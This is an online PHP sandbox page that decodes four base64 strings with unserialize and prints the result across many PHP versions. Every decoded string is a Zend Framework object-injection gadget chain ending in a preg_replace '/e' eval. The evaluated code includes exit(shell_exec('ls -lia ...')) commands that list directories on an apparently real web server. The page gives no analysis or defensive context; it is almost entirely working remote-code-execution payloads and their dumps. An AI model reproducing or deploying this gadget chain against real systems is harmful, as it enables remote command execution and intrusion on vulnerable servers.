3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE0OiJleGl0KCJzeXNtb24iKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0="))); var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjEzOiJleGl0KF9fRElSX18pIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ=="))); var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjEzOiJleGl0KF9fRElSX18pIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ=="))); var_dump( unserialize(base64_decode("YTozOntzO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W5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjU5OiJleGl0KHNoZWxsX2V4ZWMoImxzIC1saWEgL3Zhci93d3cvem93aG93L3NoYXJlZC9zaXRlbWFwcyIpKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=")));
Output for 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(14) "exit("sysmon")" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#4 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#5 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#3 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(13) "exit(__DIR__)" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#5 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#3 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#4 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(13) "exit(__DIR__)" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(75) "exit(shell_exec("ls -lia /var/www/zowhow/releases/20180402060158/errors/"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#4 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#5 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#3 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(59) "exit(shell_exec("ls -lia /var/www/zowhow/shared/sitemaps"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } }
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(14) "exit("sysmon")" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#4 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#5 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#3 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(13) "exit(__DIR__)" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#5 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#3 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#4 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(13) "exit(__DIR__)" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(75) "exit(shell_exec("ls -lia /var/www/zowhow/releases/20180402060158/errors/"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#4 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#5 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#3 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(59) "exit(shell_exec("ls -lia /var/www/zowhow/shared/sitemaps"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } }

preferences:
321.55 ms | 417 KiB | 286 Q